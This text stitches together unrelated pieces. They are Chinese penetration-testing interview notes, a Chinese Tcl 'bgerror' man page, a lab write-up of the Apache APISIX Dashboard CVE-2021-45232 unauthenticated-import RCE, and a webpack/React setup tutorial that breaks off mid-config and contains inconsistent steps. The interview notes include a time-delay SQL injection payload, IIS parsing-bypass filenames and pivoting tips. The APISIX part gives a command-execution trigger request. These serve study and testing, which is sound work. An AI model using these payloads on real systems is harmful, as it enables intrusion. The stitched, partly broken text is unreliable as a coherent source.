* [面试问题记录](#面试问题记录) * [360](#360) * [SQL的存储引擎](#sql的存储引擎) * [SQL注入写shell的条件,用法](#sql注入写shell的条件用法) * [GPC是什么?开启了怎么绕过](#gpc是什么开启了怎么绕过) * [Mysql一个@和两个@什么区别](#mysql一个和两个什么区别) * [IIS解析漏洞,不同版本有什么漏洞,还有什么容器解析漏洞](#iis解析漏洞不同版本有什么漏洞还有什么容器解析漏洞) * [wireshark抓包,数据报经过三层交换机、路由的变化,NAT协议描述,地址进入内网怎么变化](#wireshark抓包数据报经过三层交换机路由的变化nat协议描述地址进入内网怎么变化) * [linux计划任务,黑客隐藏自己的计划任务会怎么做。windows计划任务怎么设定](#linux计划任务黑客隐藏自己的计划任务会怎么做windows计划任务怎么设定) * [挖过最难的漏洞是什么](#挖过最难的漏洞是什么) * [ukelink](#ukelink) * [病毒和蠕虫的区别](#病毒和蠕虫的区别) * [DNS欺骗是什么](#dns欺骗是什么) * [DDOS有哪些,CC攻击是什么,区别是什么,在哪一个层面,什么协议](#DDOS有哪些,CC攻击是什么,区别是什么,在哪一个层面,什么协议) * [陆地land攻击是什么](#陆地land攻击是什么) * [xss有什么?执行存储型的xss的危害和原理](#xss有什么执行存储型的xss的危害和原理) * [渗透测试流程?(不够清晰,太浅显](#渗透测试流程不够清晰太浅显) * [有没有移动端的调试经验 apk,ipa包分析](#有没有移动端的调试经验-apkipa包分析) * [对于云安全的理解](#对于云安全的理解) * [虚拟机逃逸的理解](#虚拟机逃逸的理解) * [英语介绍一下自己](#英语介绍一下自己) * [职业路径](#职业路径) * [大学做过什么相关的事情](#大学做过什么相关的事情) * [在工作会做什么来不断提高自己的能力](#在工作会做什么来不断提高自己的能力) * [卓望](#卓望) * [渗透测试流程](#渗透测试流程) * [描述渗透项目,做了什么](#描述渗透项目做了什么) * [xss漏洞类型、详情、修复方案](#xss漏洞类型详情修复方案) * [SQL注入原理、类型,waf绕过,写shell,提权,修复方案](#sql注入原理类型waf绕过写shell提权修复方案) * [终端的渗透经验](#终端的渗透经验) * [了解什么比较新的漏洞](#了解什么比较新的漏洞) * [企业内部安全](#企业内部安全) * [安巽](#安巽) * [算法?了解过什么排序?](#算法了解过什么排序) * [爬虫](#爬虫) * [页面存在很多js的时候,用什么](#页面存在很多js的时候用什么) * [爬虫的待爬取URL量级比较大的时候,如何对其去重](#爬虫的待爬取url量级比较大的时候如何对其去重) * [多线程 异步 协程 多路复用 用哪一个最快 为什么](#多线程-异步-协程-多路复用-用哪一个最快-为什么) * [浏览器的常用编码](#浏览器的常用编码) * [web常用的加密算法有什么](#web常用的加密算法有什么) * [有没有内网渗透的经验?怎么渗透?如果拿下了边界层的某一个机器,如何对内网其他进行探测?](#有没有内网渗透的经验?怎么渗透?如果拿下了边界层的某一个机器,如何对内网其他进行探测?) * [mysql中like查询会会非常缓慢,如何进行优化](#mysql中like查询会会非常缓慢如何进行优化) * [做了cdn的网站如何获取真实IP](#做了cdn的网站如何获取真实ip) * [渗透的时候如何隐藏自己的身份](#渗透的时候如何隐藏自己的身份) * [主机疑似遭到入侵,要看哪里的日志](#主机疑似遭到入侵要看哪里的日志) * [SQL注入漏洞怎么修复](#sql注入漏洞怎么修复) * [长亭](#长亭) * [安全研究的方面?做过哪些渗透测试的工作?](#安全研究的方面做过哪些渗透测试的工作) * [只给你一个网址,如何进行渗透测试](#只给你一个网址如何进行渗透测试) * [SQL注入,id=1如何检测?order by怎么利用?limit语句怎么利用?盲注有什么?](#SQL注入,id=1如何检测?orderby怎么利用?limit语句怎么利用?盲注有什么?) * [sleep被禁用后还能怎么进行sql注入](#sleep被禁用后还能怎么进行sql注入) * [XSS可以控制属性怎么利用](#xss可以控制属性怎么利用) * [CSRF怎么防护?](#csrf怎么防护) * [请求头中哪些是有危害的?](#请求头中哪些是有危害的) * [XXE的危害?哪些地方容易存在xxe?xxe架构方面有没有了解过](#XXE的危害?哪些地方容易存在xxe?xxe架构方面有没有了解过) * [JAVA中间件的漏洞,举几个例子?](#java中间件的漏洞举几个例子) * [IIS常见的漏洞](#iis常见的漏洞) * [python有哪些框架,其中出现过哪些漏洞](#python有哪些框架其中出现过哪些漏洞) * [业务逻辑漏洞,用户任意密码重置举出有什么例子,因为什么因素导致的?](#业务逻辑漏洞,用户任意密码重置举出有什么例子,因为什么因素导致的?) * [PHP代码审计?开源的代码审计有没有做过?弱类型比较,反序列化漏洞这种考点在哪?](#PHP代码审计?开源的代码审计有没有做过?弱类型比较,反序列化漏洞这种考点在哪?) * [HTTP-Only禁止的是JS读取cookie信息,如何绕过这个获取cookie](#HTTP-Only禁止的是JS读取cookie信息,如何绕过这个获取cookie) * [盛邦](#盛邦) * [有没有做过协议分析和抓包分析](#有没有做过协议分析和抓包分析) * [翼果](#翼果) * [mysql查看版本?](#mysql查看版本) * [过安全狗](#过安全狗) * [编程能力/平台逆向/修改程序入口/rootkit有没有研究过](#编程能力平台逆向修改程序入口rootkit有没有研究过) # 面试问题记录 > CONTACT ME: github.com/leezj9671 ## 360 ### SQL的存储引擎 ### SQL注入写shell的条件,用法 ### GPC是什么?开启了怎么绕过 ### Mysql一个@和两个@什么区别 ### IIS解析漏洞,不同版本有什么漏洞,还有什么容器解析漏洞 ### wireshark抓包,数据报经过三层交换机、路由的变化,NAT协议描述,地址进入内网怎么变化 ### linux计划任务,黑客隐藏自己的计划任务会怎么做。windows计划任务怎么设定 三种主要的at batch cron,一般使用cron在规定的时间执行命令 ### 挖过最难的漏洞是什么 ## ukelink ### 病毒和蠕虫的区别 ### DNS欺骗是什么 定义: DNS欺骗就是攻击者冒充域名服务器的一种欺骗行为。 原理:如果可以冒充域名服务器,然后把查询的IP地址设为攻击者的IP地址,这样的话,用户上网就只能看到攻击者的主页,而不是用户想要取得的网站的主页了,这就是DNS欺骗的基本原理。DNS欺骗其实并不是真的“黑掉”了对方的网站,而是冒名顶替、招摇撞骗罢了。 ### DDOS有哪些,CC攻击是什么,区别是什么,在哪一个层面,什么协议 SYN攻击 防火墙、特征匹配 ACK FLOOD UDP FLOOD ICMP FLOOD CC http的get请求 陆地攻击 源IP和目的IP都为同一个 UDP DNS QUERY 向被攻击的服务器发送大量的域名解析请求,通常请求解析的域名是随机生成或者是网络世界上根本不存在的域名,被攻击的DNS 服务器在接收到域名解析请求的时候首先会在服务器上查找是否有对应的缓存,如果查找不到并且该域名无法直接由服务器解析的时候,DNS 服务器会向其上层DNS服务器递归查询域名信息 ### 陆地land攻击是什么 ### xss有什么?执行存储型的xss的危害和原理 ### 渗透测试流程?(不够清晰,太浅显 ### 有没有移动端的调试经验 apk,ipa包分析 ### 对于云安全的理解 权限管理,内网威胁,信息泄露,过于依赖托管厂商 ### 虚拟机逃逸的理解 虚拟机之间通信或上层主机的通信 ### 英语介绍一下自己 ### 职业路径 ### 大学做过什么相关的事情 ### 在工作会做什么来不断提高自己的能力 ## 卓望 ### 渗透测试流程 ### 描述渗透项目,做了什么 ### xss漏洞类型、详情、修复方案 ### SQL注入原理、类型,waf绕过,写shell,提权,修复方案 ### 终端的渗透经验 ### 了解什么比较新的漏洞 ### 企业内部安全 信息安全管理的本质就是输入和输出。一般防范的风险为物理威胁和网络威胁。 防范风险可以从制度和流程(人员入离职流程、权限申请流程)、人员配备和知识积累、风险防范(物理威胁:门禁、监控、禁止USB设备接入、封闭PC、定时巡检;网络威胁:部署行为管控设备、可靠的网络结构、IP和MAC地址绑定,将网络行为分组、限制不必要的软件和通信协议、定期审核日志) ## 安巽 ### 算法?了解过什么排序? 快速排序 冒泡排序 ### 爬虫 #### 页面存在很多js的时候,用什么 phnatomJS selenium execjs #### 爬虫的待爬取URL量级比较大的时候,如何对其去重 - 在数据库中创建字段的UNIQUE属性:对于在数据库中创建字段的UNIQUE属性, 的确是可以避免一些重复性操作。不过在多次MySQL报错之后,程序可能会直接崩溃,因此这种方式不可取 - 在数据库中创建一个唯一的索引,在插入数据之前检查待插入的数据是否存在:如果我们要在每一次插入数据之前都去检查待插入的数据是否存在,这样势必会影响程序的效率 - 使用Set或HashSet保存数据,确保唯一。可以使用redis,但是内存占用大 - 使用Map或是一个定长数组记录某一个URL是否被访问过 - 布隆过滤器(bloom filter),bitmap #### 多线程 异步 协程 多路复用 用哪一个最快 为什么 > https://www.cnblogs.com/yuanchenqi/articles/6755717.html#_label3 线程也叫轻量级进程,它是一个基本的CPU执行单元,也是程序执行过程中的最小单元,由线程ID、程序计数器、寄存器集合和堆栈共同组成。线程的引入减小了程序并发执行时的开销,提高了操作系统的并发性能。线程没有自己的系统资源。 异步是指进程不需要一直等下去,而是继续执行下面的操作,不管其他进程的状态。当有消息返回时系统会通知进程进行处理,这样可以提高执行的效率。 协程是一种用户态的轻量级线程,拥有自己的寄存器上下文和栈 IO多路复用 异步阻塞IO 线程轮询IO ### 浏览器的常用编码 一开始我以为是说字符编码,有UTF8 Unicode GBK。面试官还几番提醒我也没答上来。回来一想,我觉得他应该问的是content-type。 http://www.runoob.com/http/http-content-type.html ### web常用的加密算法有什么 非对称加密 RSA、ElGamal、Rabin 对称加密 DES、3DES、AES 散列算法 MD5 SHA base64 ### 有没有内网渗透的经验?怎么渗透?如果拿下了边界层的某一个机器,如何对内网其他进行探测? 拿下机器后 内网渗透使用代理访问内网 windows环境:reGeorg与proxifier Linux(kali-linux)环境:reGeorg与proxychains,使用nmap等工具进行扫描,发现web服务的主机和其它信息。有时这些边界机器上会记录一些内网服务器上的一些信息(用户 ssh known_hosts hosts 防火墙设置 记录、内网之间好多waf 规则基本都是空,大多数waf防外部威胁 这时候可以拿到探测的内部一些开放的端口判断进行渗透,通常用户这里基本是统一命名的 拿到的各种记录 会暴露出部分内网通讯的ip 内网内弱口令占大多数 FTP MSSQL 远程桌面链接 ### mysql中like查询会会非常缓慢,如何进行优化 分词索引 ### 做了cdn的网站如何获取真实IP 1. 多地ping看是否有cdn 2. 邮件订阅或者rss订阅 3. 二级域名可能不会做cdn 4. nslookup http://xxx.com 国外dns 5. 查找域名历史解析记录,因为域名在上CDN之前用的IP,很有可能就是CDN的真实源IP地址 https://toolbar.netcraft.com/site_report?url=www.xxx.com 6. phpinfo上显示的信息 ### 渗透的时候如何隐藏自己的身份 ### 主机疑似遭到入侵,要看哪里的日志 ### SQL注入漏洞怎么修复 ## 长亭 ### 安全研究的方面?做过哪些渗透测试的工作? ### 只给你一个网址,如何进行渗透测试 ### SQL注入,id=1如何检测?orderby怎么利用?limit语句怎么利用?盲注有什么? ### sleep被禁用后还能怎么进行sql注入 BENCHMARK,Get_lock函数,当都被禁用后可以用计算量比较大的语句使数据库查询时间变长,从而达到延时注入的效果。 mysql:`AND (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.SCHEMATA C);` ### XSS可以控制属性怎么利用 ### CSRF怎么防护? 尽量使用POST,限制GET;浏览器Cookie策略;加验证码; Referer Check;Anti CSRF Token ### 请求头中哪些是有危害的? Cookie ### XXE的危害?哪些地方容易存在xxe?xxe架构方面有没有了解过 xxe常见场景是如pdf在线解析、word在线解析、定制协议,留言板等,跟逻辑设计有关而与语言无关,最好是不要让XML作为参数传输或整体结构可被用户篡改。如果一定要使用,至少要禁用DTD、Entity。 xxe危害 读取本地文件,执行系统命令,探测内网端口,攻击内网服务 探测内网端口的协议有gopher file dict,不同语言支持不同的协议,是具体情况而定 file http ftp是常用的 防范,python用lxml时可以对resolve_entities设为false。或者过滤用户提交的xml 客户端也可以有xxe攻击,有的网站会使用office打开docx进行解析 Java解析XML的常用三方库,如果不禁用DTD、Entity都会导致XXE漏洞: javax.xml.stream.XMLStreamReader; javax.xml.parsers.DocumentBuilderFactory; ### JAVA中间件的漏洞,举几个例子? 常见的是反序列化漏洞 ### IIS常见的漏洞 常见的为解析漏洞,6.0有 /test.asp/test.jpg test.asp;.jpg 7.5有test.jpg/.php,默认后缀IIS默认地还会解析其他后缀的文件为asp文件,比如cer asa cdx 原理大抵是IIS 5.x/6.0在从文件路径中读取文件后缀时,遇到一个“.”后,便进入了一种截断状态,在该状态下遇到特殊符号——“/”和“;”,都会进行截断,只保留特殊符号前的部分,即:“.asp”,从而认为文件后缀为“.asp”。 ### python有哪些框架,其中出现过哪些漏洞 flask的模板注入 模板注入和常见Web注入的成因一样,也是服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。 模板字符串中字符串拼接或替换可能会导致敏感信息泄露,获取变量值 如果开发者在flask使用字符串格式化,来将用户输入动态地加入到模板字符串中,而不是通过render_template_string函数,该函数不会对输入进行实体转义将URL传递进入模板内容当中,会导致xss的产生。 还可以利用模板中html标签属性字段绕过xss过滤。 Django出现过目录遍历漏洞 ### 业务逻辑漏洞,用户任意密码重置举出有什么例子,因为什么因素导致的? ### PHP代码审计?开源的代码审计有没有做过?弱类型比较,反序列化漏洞这种考点在哪? ### HTTP-Only禁止的是JS读取cookie信息,如何绕过这个获取cookie Http Trace攻击就可以将你的Header里的Cookie回显出来,利用Ajax或者flash就可以完成这种攻击;或者配置或者应用程序上可能Bypass,比如header头的泄漏 ## 盛邦 ### 有没有做过协议分析和抓包分析 ## 翼果 ### mysql查看版本? ### 过安全狗 ### 编程能力/平台逆向/修改程序入口/rootkit有没有研究过 ## 深信服(安全开发/实习) > 作者:华电许少 链接:https://zhuanlan.zhihu.com/p/142929260 ### 一面 #### SQL注入如何读写文件,二次注入,防御方式 #### XSS有哪几种,如何防御 #### CSRF和XSS区别,如何防御 #### 文件上传的前后端的绕过,防御方式 #### IIS6.0,Apache,Nginx的文件解析漏洞讲一下 #### XXE和SSRF简单讲一下 #### RCE讲一下,PHP函数eval和system,popen的区别 #### Python的迭代器和装饰器讲一下 #### 缓冲区溢出原理和防御 #### 内网渗透经验有没有 #### 多线程和进程讲一下,线程通信以及进程通信方式 #### 渗透测试流程讲一下,信息收集都有哪些方面 #### 有没有实际渗透经验,讲一下 #### 有没有了解过系统漏洞,windows方面的,比如MS08-06715.你是如何学习渗透的,哪些方式 ### 二面 #### 虚函数的底层实现 #### 反射的底层实现 #### 满二叉树和完全二叉树 #### Python和Java的垃圾回收讲一下 #### SQL手工注入流程 #### Java框架的控制反转怎么实现的 #### 进程通讯有哪些 #### 消息队列的原理 #### 经典老问题访问百度,重点说一下涉及到的所有协议 #### 常见的web漏洞有哪些 #### Burpsuite的功能有哪些 #### 说一下所有的排序算法,哪些是不稳定的 #### 图的遍历方式有哪些,基于什么数据结构 #### 如何实现一个HTTP代理,原理是什么 #### 你的兴趣爱好是什么
sec-knowleage
'\" '\" Copyright (c) 1990-1994 The Regents of the University of California. '\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: bgerror.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: bgerror.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH bgerror 3tcl 7.5 Tcl "Tcl Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME bgerror \- 为处理后台错误而被调用的命令 .SH 总览 SYNOPSIS \fBbgerror \fImessage\fR .BE .SH 描述 DESCRIPTION .PP \fBbgerror\fR 命令不作为 Tcl 内置部分而存在。如果单独的某个应用或用户希望处理后台错误,可以定义一个 bgerror 命令(例如,作为一个 Tcl 过程)。 .PP 后台错误发生在事件处理器(handler)或不是由应用发起(originate)的一些其他命令中。例如,如果在执行一个用 \fBafter\fR 命令指定的一个命令时发生了一个错误,那么这就是一个后台错误。对于一个非后台错误,通过嵌套的 Tcl 命令求值(evaluation), 错误可以被简单的向上返回,直到到达应用中的顶层代码;则应用可以用任何它希望的方式来报告错误。 当一个后台错误发生时,在 Tcl 库中终止命令解释(unwinding ends ? 松开末端)并且没有给 Tcl 用来报告错误明显的途径。 .PP 当 Tcl 检测到一个后台错误时,它保存关于错误的信息并作为一个空闲处理器而在以后调用 \fBbgerror\fR 命令。在调用 \fBbgerror\fR 之前,Tcl 把 fBerrorInfo\fR 和 \fBerrorCode\fR 变量的存储成它们在错误发生时的值,接着用错误消息作为唯一的参数来调用 \fBbgerror\fR。Tcl 假定应用已经实现了 \fBbgerror\fR 命令,命令以对应用有意义的方式来报告错误。 Tcl 在 \fBbgerror\fR 命令没有生成错误时忽略返回的任何结果。 .PP 如果在 \fBbgerror\fR 命令中发生了另一个 Tcl 错误(例如,没有定义 \fBbgerror\fR 命令)则 Tcl 通过向标准错误写消息来处理这个自身的错误。 .PP 在调用 \fBbgerror\fR 来处理错误之前如果积累了一些错误,将以发生的次序为每个错误调用一次 \fBbgerror\fR。但是,如果 \fBbgerror\fR 以一个 break 例外返回,则跳过所有的余下的错误而不调用 \fBbgerror\fR。 .PP Tcl 没有缺省的实现 \fBbgerror\fR。但是,在使用 Tk 的应用中有一个缺省的 \fBbgerror\fR 过程,它贴出(post)一个对话框,包含了错误信息并向用户提供一个机会来查看显示在什么地方发生错误的栈跟踪。 In addition to allowing the user to view the stack trace, the dialog provides an additional application configurable button which may be used, for example, to save the stack trace to a file. By default, this is the behavior associated with that button. This behavior can be redefined by setting the option database values \fB*ErrorDialog.function.text\fR, to specify the caption for the function button, and \fB*ErrorDialog.function.command\fR, to specify the command to be run. The text of the stack trace is appended to the command when it is evaluated. If either of these options is set to the empty string, then the additional button will not be displayed in the dialog. .SH "参见 SEE ALSO" after(n), tclvars(n) .SH 关键字 KEYWORDS background error, reporting .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/06/27 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# Apache APISIX Dashboard Unauthenticated Access Leads to RCE (CVE-2021-45232) [中文版本(Chinese version)](README.zh-cn.md) Apache APISIX is a dynamic, real-time, high-performance API gateway, and Apache APISIX Dashboard is a easy to use frontend interface that is used to manage the Apache APISIX. In Apache APISIX Dashboard before 2.10.1, the Manager API uses two frameworks and introduces framework `droplet` on the basis of framework `gin`, all APIs and authentication middleware are developed based on framework `droplet`. But there are 2 of these APIs `/apisix/admin/migrate/export` and `/apisix/admin/migrate/import` directly use the interface of framework `gin` which are able to bypass the authentication. By using these 2 unauthenticated API endpoints, attackers can export and import arbitrary Apache APISIX configuration including routers, services, scripts etc, that leads to reqeust unexpected URL (SSRF) or execute arbitrary LUA scripts (RCE). References: - https://apisix.apache.org/blog/2021/12/28/dashboard-cve-2021-45232/ - https://github.com/wuppp/cve-2021-45232-exp ## Vulnerable environment Execute following command to start a vulnerable Apache APISIX Dashboard 2.9: ``` docker compose up -d ``` Then you can access `http://your-ip:9000/` to see the login page for Apache APISIX Dashboard. ## Exploit `/apisix/admin/migrate/export` and `/apisix/admin/migrate/import` are 2 unauthenticated API provided by Apache APISIX Dashboard, that are used to export and import configuration for Apache APISIX. So we can simplely import a craft configuration with evil router that contains user provided LUA script: ![](1.png) Noted that the last 4 bytes are CRC checksum of this file, so it's better to use a automatic POC to build and send the request, for example [this POC](https://github.com/wuppp/cve-2021-45232-exp). After adding the evil router, you should send the request to Apache APISIX (difference from Apache APISIX Dashboard) to trigger the LUA script. The Apache APISIX is listening on port 9080 in this environment: ``` GET /okw1Rh HTTP/1.1 Host: your-ip:9080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36 Connection: close CMD: id Cache-Control: max-age=0 ``` ![](2.png) As you can see, the command in `CMD` header is executed by Apache APISIX.
sec-knowleage
## Webpack环境配置 ### 创建并进入一个文件夹wepback: ``` mkdir webpack && cd webpack ``` ### 在webpack中创建一个src -> index.js ``` mkdir src && touch src/index.js ``` ### 初始化项目: npm init这会提示你关于项目的更多细节,并创建一个 package.json 文件。 使用 -y 标记表示你能接受 package.json 文件的一堆: ``` npm init -y ``` **注意**:项目名不要和包名相同,否则可能会出错误。 ### 如果项目名和包名相同,修改Webpack -> package.json项目名 因为项目名与包名相同,所以修改项目名 ``` "name": "webpack-demo", ``` 创建一个`index.html`,将下面代码放入 ``` <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Webpack</title> </head> <body> <div id="root"></div> <script src='dist/bundle.js'></script> </body> </html> ``` ### 安装serve: 一个开发服务器,方便我们进行测试 ``` npm i serve -g ``` 需要启动服务器时,`serve`会自动寻找`index.html`,如果文件名为其他需输入文件名 ``` serve [文件名] ``` ### 安装webpack: ``` npm install webpack@2.6.1 --save-dev ``` ### 检测是否安装成功: ``` ./node_modules/.bin/webpack --help ``` ### 创建webpack.config.js webpack的配置文件 ``` const path = require('path'); //path是nodejs核心文件,用来解析路径 //require会把入口文件相关的所有文件都打包 module.exports = { entry: './src/index.js', //入口文件(打包相关文件) output: { //出口文件(打包到哪里) path: path.resolve(__dirname, "build"), //path:放在哪个文件夹 //path.resolve:进行拼接 //__dirname:命令行位置 filename: "bundle.js", //文件名 } } ``` ### 安装 babel 核心包,在webpack中装载的包 #### 装包 ``` npm install babel-loader babel-core --save-dev ``` #### 在webpack.config.js配置文件中添加ES6语法转换规则 添加在`module`(模块)的`rules`规则内 ``` module: { //模块 rules: [ //规则 { test: /\.js$/, exclude: /node_modules/, use: "babel-loader" } //test测试 //正则匹配js结尾的文件 //use使用babel-loader将es6处理成为es5语法 ] } ``` ### 安装ES6 语法编译为 ES5 的包 #### 装包 ``` npm install babel-preset-env --save-dev ``` #### 安装语法加强包 ``` npm install --save-dev babel-preset-stage-0 ``` #### 创建.babelrc并配置: ```js //自动加载的配置文件 { "presets": ["env","stage-0"] //presets:需要启动什么样的预设转码 //env:可以对BABEL_ENV或者NODE_ENV指定的不同的环境变量,进行不同的编译操作 //stage-0:将ES7,ES6转换为ES5 } ``` #### 设置`npm package`快捷打包方式 修改`packageage.json`,设置一个命令`npm run [名称]`来启动这个打包工具 ``` "scripts": { "build": "./node_modules/.bin/webpack" }, ``` ### 检查是否安装正确 #### 修改src -> index.js ``` let obj = { name:'Liu', age:24 } let {age} = obj alert(age) ``` #### 运行 ``` npm run build ``` #### 在webpack下运行 ``` serve . ``` #### 打开本地服务器 ``` localhost:5000 ``` 如果弹出对话框`24`说明安装成功 ### 安装react包 ``` npm i react-dom --save npm i react --save ``` ### 安装编译JSX语法包 ``` npm i babel-preset-react -D ``` #### 配置.babelrc ``` { "presets": ["env","stage-0","react"] //presets:需要启动什么样的预设转码 //env:可以对BABEL_ENV或者NODE_ENV指定的不同的环境变量,进行不同的编译操作 //stage-0:将ES7,ES6转换为ES5 //react:编译JSX语法 } ``` ### 检查是否能启动React项目 #### 修改src -> index.js ``` import React from 'react' import ReactDOM from 'react-dom' let obj = { name:'Liu', age:24 } let {age} = obj alert(age) ReactDOM.render(<h1>{age}</h1>,document.getElementById('root')) ``` #### 运行 ``` npm run build ``` #### 在webpack下运行 ``` serve . ``` #### 打开本地服务器 ``` localhost:5000 ``` 如果弹出对话框`24`说明安装成功 ###安装CSS包 ``` npm install --save-dev css-loader style-loader ``` #### 在webpack.config.js配置文件中添加CSS语法转换模块规则 ``` { test: /\.css$/, //test测试 use: ["style-loader","css-loader"] //use使用style-loader和css-loader编译css //先使用后面的css-loader再使用前面的style-loader进行编译 } ``` #### 检查是否能启动React项目 ##### 修改src -> index.js ``` import React from 'react' import ReactDOM from 'react-dom' import './index.css' ReactDOM.render(<h1>我是H1</h1>,document.getElementById('root')) ``` ##### 创建src -> `index.css`文件将下面代码放入 ``` *{ margin: 0; padding: 0; background: teal; } ``` 运行 ``` npm run build ``` 在webpack下运行 ``` serve . ``` 打开本地服务器 ``` localhost:50000 ``` 弹出对话框`24`说明安装成功 ### 安装CSS处理插件 ``` npm i postcss-loader -D ``` ``` { test: /\.css$/, use: ["style-loader","css-loader","postcss-loader"] //添加上postcss } ``` #### CSS兼容 ##### 装包 ``` npm i -D autoprefixer cssnano //autoprefixer:兼容css包 //cssnano:压缩css包 ``` ##### 创建`postcss`的配置文件`postcss.config.js` ``` module.exports = { plugins: [ require("autoprefixer"), //兼容css,less编译成css自动加前缀 require("cssnano") //压缩css ] } ``` ### 后缀补齐功能 放在`webpack.config.js`的Module(模块)内 ``` resolve:{ 